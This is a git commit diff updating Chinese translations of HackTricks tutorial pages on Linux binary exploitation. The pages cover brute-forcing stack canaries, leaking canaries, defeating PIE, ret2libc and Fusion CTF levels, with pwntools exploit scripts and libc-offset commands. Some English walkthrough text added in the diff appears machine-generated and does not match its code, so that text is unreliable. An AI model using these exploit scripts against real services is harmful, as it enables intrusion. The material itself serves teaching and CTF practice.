Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti

This commit is contained in:
Translator 2024-02-05 03:17:45 +00:00
parent 76b0613247
commit 9c9c0f7743
45 changed files with 3140 additions and 6744 deletions

File diff suppressed because it is too large Load diff

View file

@ -1,36 +1,36 @@
<details> <details>
<summary><strong>零基础学习 AWS 黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 其他方式: 其他支持HackTricks的方式
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**
</details> </details>
**如果您面对的是一个受到 canary 和 PIE (位置独立可执行文件) 保护的二进制文件,您可能需要找到绕过它们的方法。** **如果您面对一个由canary和PIE位置无关可执行文件保护的二进制文件您可能需要找到一种绕过它们的方法。**
![](<../../.gitbook/assets/image (144).png>) ![](<../../.gitbook/assets/image (144).png>)
{% hint style="info" %} {% hint style="info" %}
请注意,如果二进制文件是静态编译的,并且无法识别该函数,**`checksec`** 可能无法发现二进制文件受到 canary保护。\ 请注意,**`checksec`**可能无法发现一个二进制文件受到canary保护,如果它是静态编译的,并且无法识别该函数。\
然而,如果您发现在函数调用开始时有一个值被保存在栈中,并且在退出前检查了这个值,您可以手动注意到这一点 但是,您可以手动注意到这一点,如果您发现在函数调用开始时将一个值保存在堆栈中,并且在退出之前检查了这个值
{% endhint %} {% endhint %}
# 暴力破解 Canary # 强制破解Canary
绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次您建立新连接时都会 fork 子进程的程序**(网络服务),因为每次您连接到它时**都会使用相同的 canary**。 绕过简单canary的最佳方法是如果二进制文件是一个程序,**每次您与其建立新连接时都会fork子进程**(网络服务),因为每次连接到它时**将使用相同的canary**。
那么,绕过 canary 的最佳方法就是**逐个字符地暴力破解**,您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canary (x64)** 并且仅通过**检查**服务器是否发回了**响应**来区分正确猜测的字节和错误的字节(在**其他情况**下的另一种方法可能是使用 **try/except** 因此绕过canary的最佳方法就是**逐个字符地强制破解它**您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的canary字节是否正确。在这个示例中函数**强制破解一个8字节的canaryx64**,并区分了正确猜测的字节和错误字节,只需**检查**服务器是否发送了**响应**(在**其他情况**下,另一种方法可能是使用**try/except**
## 示例 1 ## 示例1
此示例为 64 位实现,但也可以轻松实现 32 位。 此示例为64位实现但也可以轻松为32位实现
```python ```python
from pwn import * from pwn import *
@ -69,10 +69,10 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
``` ```
## 示例 2 ## 例子2
这是为32位实现的,但可以轻松更改为64位。\ 这是为32位系统实现的,但很容易改为64位。\
另请注意,在这个例子中,**程序首先期望一个字节来指示输入的大小**以及有效载荷 还要注意,对于这个例子,**程序预期首先有一个字节来指示输入和有效载荷的大小**
```python ```python
from pwn import * from pwn import *
@ -115,20 +115,20 @@ log.info(f"The canary is: {canary}")
``` ```
# 打印 Canary # 打印 Canary
另一种绕过 canary 的方法是**打印它**。\ 绕过 canary 的另一种方法是**打印它**。\
想象一种情况,一个**程序存在**栈溢出漏洞,可以执行一个**指向**栈溢出**部分**的 **puts** 函数。攻击者知道 canary 的**第一个字节是空字节**`\x00`),其余的 canary 是**随机**字节。然后,攻击者可能创建一个溢出,**只覆盖 canary 的第一个字节**。\ 想象一种情况,一个**易受攻击**的程序可以执行一个指向**栈溢出部分**的 **puts** 函数。攻击者知道 canary 的**第一个字节是空字节** (`\x00`),其余的 canary 是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到 canary 的第一个字节**。\
接着,攻击者**调用 puts 功能**在载荷的中间部分,这将**打印出所有的 canary**(除了第一个空字节)。\ 然后,攻击者在有效负载的中间**调用 puts 功能**,这将**打印出所有的 canary**(除了第一个空字节)。\
有了这信息,攻击者可以**构造并发送一个新的攻击**,知道了 canary在同一个程序会话中 有了这信息,攻击者可以**构造并发送一个新的攻击**,知道了 canary**同一个程序会话**中)
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**载荷内容**来**泄露** canary然后能够创建一个新的载荷在**同一个程序会话中**)并**发送**真正的**缓冲区溢出**。\ 显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**有效负载**的**内容**,以**窃取** canary然后能够创建一个新的有效负载在**同一个程序会话**中)并**发送****真正的缓冲区溢出**。\
CTF 示例: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) CTF 示例[https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
# PIE # PIE
为了绕过 PIE你需要**泄露某个地址**。如果二进制文件没有泄露任何地址,最好的方法是**暴力破解栈中保存的 RBP 和 RIP**。\ 为了绕过 PIE您需要**泄漏一些地址**。如果二进制文件没有泄漏任何地址,最好的方法是**暴力破解保存在栈中的 RBP 和 RIP**。\
例如,如果一个二进制文件同时使用了**canary**和**PIE**保护,你可以开始暴力破解 canary然后接下来的 8 字节x64将是保存的**RBP**,再接下来的 8 字节将是保存的**RIP**。 例如,如果一个二进制文件同时使用**canary**和**PIE**进行保护,您可以开始暴力破解 canary然后**接下来**的 8 个字节x64将是保存的**RBP**,再接下来的 8 字节将是保存的**RIP**。
要从二进制文件中暴力破解 RBP 和 RIP你可以发现,如果程序输出了某些内容或者它没有崩溃,那么一个猜测正确的有效字节就是正确的。用于暴力破解 canary 的**相同函数**也可以用来暴力破解 RBP 和 RIP 要从二进制文件中暴力破解 RBP 和 RIP您可以发现,如果程序输出了一些内容或者没有崩溃,那么猜测的字节是正确的。与用于暴力破解 canary 的相同功能可用于暴力破解 RBP 和 RIP
```python ```python
print("Brute-Forcing RBP") print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary) base_canary_rbp = get_bf(base_canary)
@ -139,31 +139,31 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
``` ```
## 获取基地址 ## 获取基地址
击败 PIE您需要从泄露的地址计算**有用的地址****RBP** 和 **RIP** 打败PIE的最后一步是计算从泄漏的地址中获得的有用地址**RBP**和**RIP**
**RBP**,您可以计算**在栈中写入 shell 的位置**。这对于知道您将在栈中的哪个位置写入字符串 _"/bin/sh\x00"_ 非常有用。要计算泄露的 RBP 与您的 shellcode 之间的距离,您可以在泄露 RBP 后设置一个**断点**,检查**您的 shellcode 位于何处**,然后,您可以计算 shellcode 与 RBP 之间的距离: 通过**RBP**,你可以计算**在堆栈中写入shellcode的位置**。这对于知道你将在堆栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄漏的RBP和你的shellcode之间的距离你只需在泄漏RBP后设置一个**断点**,然后检查**shellcode的位置**然后你可以计算shellcode和RBP之间的距离:
```python ```python
INI_SHELLCODE = RBP - 1152 INI_SHELLCODE = RBP - 1152
``` ```
**RIP** 可以计算出 **PIE 二进制文件的基地址**,这是创建 **有效 ROP 链** 所需的。\ **RIP**中,您可以计算**PIE二进制文件的基地址**,这是您需要创建**有效的ROP链**所需的内容。\
要计算基地址,只需执行 `objdump -d vunbinary` 并检查反汇编的最新地址: 要计算基地址,只需执行`objdump -d vunbinary`并检查最新的反汇编地址:
![](<../../.gitbook/assets/image (145).png>) ![](<../../.gitbook/assets/image (145).png>)
该示例中,您可以看到只需要 **1个字节和半个字节** 就可以定位所有代码,因此,在这种情况下,基地址将是 **泄露的 RIP 但以 "000" 结尾**。例如,如果您泄露了 _0x562002970**ecf**_ ,那么基地址就是 _0x562002970**000**_ 这个示例中,您可以看到只需要**1字节半**就可以定位所有的代码,因此,在这种情况下,基地址将是**泄漏的RIP但以"000"结尾**。例如如果泄漏了_0x562002970**ecf**_则基地址为_0x562002970**000**_
```python ```python
elf.address = RIP - (RIP & 0xfff) elf.address = RIP - (RIP & 0xfff)
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想**HackTricks中看到您的公司广告****下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直至成为高手</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
```python ```python
@ -151,14 +151,14 @@ P.interactive()
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**关注**我们。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -17,7 +17,7 @@
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. 获取偏移量以修改EIP 1. 获取修改EIP的偏移量
2. 将shellcode地址放入EIP 2. 将shellcode地址放入EIP
```python ```python
from pwn import * from pwn import *
@ -45,6 +45,24 @@ r.send(buf)
r.interactive() r.interactive()
``` ```
# Level01 # Level01
## Fusion
### Basic ESP
#### Introduction
In this level, we will be exploiting a basic ESP overwrite vulnerability in the `fusion` binary. The goal is to redirect code execution to the `getpath` function in order to get a shell.
#### Walkthrough
1. **Find the Offset**: We will use GDB to find the offset needed to overwrite the return address. Run `gdb fusion` and disassemble the `main` function. Set a breakpoint at the `get` function call and run the binary with a pattern as input. Retrieve the offset using `pattern offset`.
2. **Craft the Payload**: We will craft a payload that overwrites the return address with the address of the `getpath` function. Use Python to generate the payload and save it to a file.
3. **Exploit**: Send the payload to the binary using a method of your choice (e.g., input redirection, piping, etc.) and get a shell by redirecting code execution to the `getpath` function.
By following these steps, you should be able to successfully exploit the basic ESP overwrite vulnerability in the `fusion` binary and gain a shell.
```python ```python
from pwn import * from pwn import *
@ -72,14 +90,14 @@ r.interactive()
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,89 +1,47 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>
**如果你找到了一个有漏洞的二进制文件并且认为可以使用Ret2Lib来利用它这里有一些基本步骤供你参考。** **如果您找到了一个有漏洞的二进制文件并且认为可以利用Ret2Lib进行利用这里有一些基本步骤供您参考。**
# 如果你在**主机内部** # 如果您在**主机内**
## 你可以找到**libc的地址** ## 您可以找到**libc库的地址**
```bash ```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
``` ```
如果你想检查ASLR是否改变了libc的地址可以执行以下操作 如果您想检查ASLR是否更改了libc的地址可以执行以下操作
```bash ```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
``` ```
## 获取system函数的偏移量 ## 获取system函数的偏移量
To exploit a binary using a ret2libc attack, we need to find the offset of the `system` function in the target binary. This offset will help us calculate the address of the `system` function in memory.
为了利用ret2libc攻击来利用一个二进制文件我们需要找到目标二进制文件中`system`函数的偏移量。这个偏移量将帮助我们计算内存中`system`函数的地址。
To find the offset, we can use a tool like `objdump` or `readelf` to analyze the target binary. We need to search for the symbol table entry of the `system` function and note down its offset.
为了找到偏移量,我们可以使用`objdump`或`readelf`等工具来分析目标二进制文件。我们需要搜索`system`函数的符号表项,并记录下它的偏移量。
For example, using `objdump`, we can run the following command:
例如,使用`objdump`,我们可以运行以下命令:
```bash
objdump -T <binary> | grep system
```
This command will display the symbol table entries containing the word "system". We need to look for the entry that corresponds to the `system` function and note down its offset.
这个命令将显示包含单词"system"的符号表项。我们需要找到对应于`system`函数的条目,并记录下它的偏移量。
Once we have the offset, we can calculate the address of the `system` function by adding the offset to the base address of the loaded binary in memory.
一旦我们有了偏移量,我们可以通过将偏移量加上内存中加载的二进制文件的基地址来计算`system`函数的地址。
Note: The offset may vary depending on the version of the target binary and the system it is running on. So, it is important to find the offset specific to the target binary and system.
注意:偏移量可能会因目标二进制文件的版本和运行系统而有所不同。因此,找到特定于目标二进制文件和系统的偏移量非常重要。
```bash ```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
``` ```
## 获取 "/bin/sh" 的偏移量 ## 获取 "/bin/sh" 的偏移量
To exploit a binary using a ret2lib technique, we need to find the offset of the string "/bin/sh" in the binary's memory. This string is commonly used as an argument for functions like `system()` or `execve()` to execute commands in a shell.
To find the offset, we can use a tool like `gdb` to debug the binary. Here are the steps to follow:
1. Open the binary in `gdb` by running the command `gdb <binary_name>`.
2. Set a breakpoint at a function that uses the string "/bin/sh". For example, you can set a breakpoint at the `system()` function by running the command `break system`.
3. Start the execution of the binary by running the command `run`.
4. Once the breakpoint is hit, use the command `x/s <address>` to examine the memory at a specific address. Replace `<address>` with the address where the string "/bin/sh" is stored. For example, if the address is `0x804a030`, you can run the command `x/s 0x804a030`.
5. The output of the command will display the string "/bin/sh" along with its memory address. Note down the memory address.
By following these steps, you can determine the offset of the string "/bin/sh" in the binary's memory. This offset will be useful when crafting the payload for the ret2lib exploit.
```bash ```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
``` ```
## /proc/\<PID>/maps ## /proc/\<PID>/maps
如果进程每次与其交互时都会创建子进程网络服务器尝试读取该文件可能需要以root身份)。 如果进程每次与其通信时都会创建**子进程**(网络服务器),尝试**读取**该文件可能需要使用root权限
在这里您可以找到libc在进程中的加载位置以及每个子进程将要加载的位置。 在这里,您可以找到进程内**libc加载的确切位置**以及**每个子进程将要加载的位置**。
![](<../../.gitbook/assets/image (95).png>) ![](<../../.gitbook/assets/image (95).png>)
在这种情况下,它加载在**0xb75dc000**这将是libc的基址) 在这种情况下,它加载在**0xb75dc000**这将是libc的基址
## 使用gdb-peda ## 使用gdb-peda
@ -95,11 +53,31 @@ find "/bin/sh"
``` ```
# 绕过ASLR # 绕过ASLR
你可以尝试暴力破解libc的基址 您可以尝试对libc的基址进行暴力破解
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
# 代码 # 代码
## Ret2Lib
### Introduction
In this section, we will cover the basics of Return-to-libc (Ret2Lib) attacks. These attacks are a variation of Return Oriented Programming (ROP) attacks, where instead of chaining together small code snippets (gadgets) already present in the program, we chain together function calls from the standard C library (`libc`). This technique is useful when Data Execution Prevention (DEP) is enabled, preventing the execution of code on the stack.
### Steps
1. **Find `libc` Address**: The first step is to find the address of the `libc` library in the program's memory space. This can be done by leaking addresses or using techniques like Partial Overwrite.
2. **Find Function Addresses**: Next, we need to find the addresses of the functions we want to call from `libc`. Common functions used in Ret2Lib attacks include `system`, `execve`, `bin/sh`, etc.
3. **Craft Payload**: Craft a payload that chains together the addresses of the functions in `libc` that you want to call. This payload will overwrite the return address on the stack with the address of the first function to call.
4. **Exploit**: Finally, trigger the vulnerability in the program to execute the crafted payload. This will lead to the execution of the functions from `libc` as part of the attack.
### Conclusion
Return-to-libc attacks are a powerful technique to bypass DEP and execute code from the `libc` library. By chaining together function calls, attackers can achieve their malicious goals without needing to inject code into the program's memory space.
```python ```python
from pwn import * from pwn import *
@ -117,16 +95,14 @@ c.interactive() #?
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
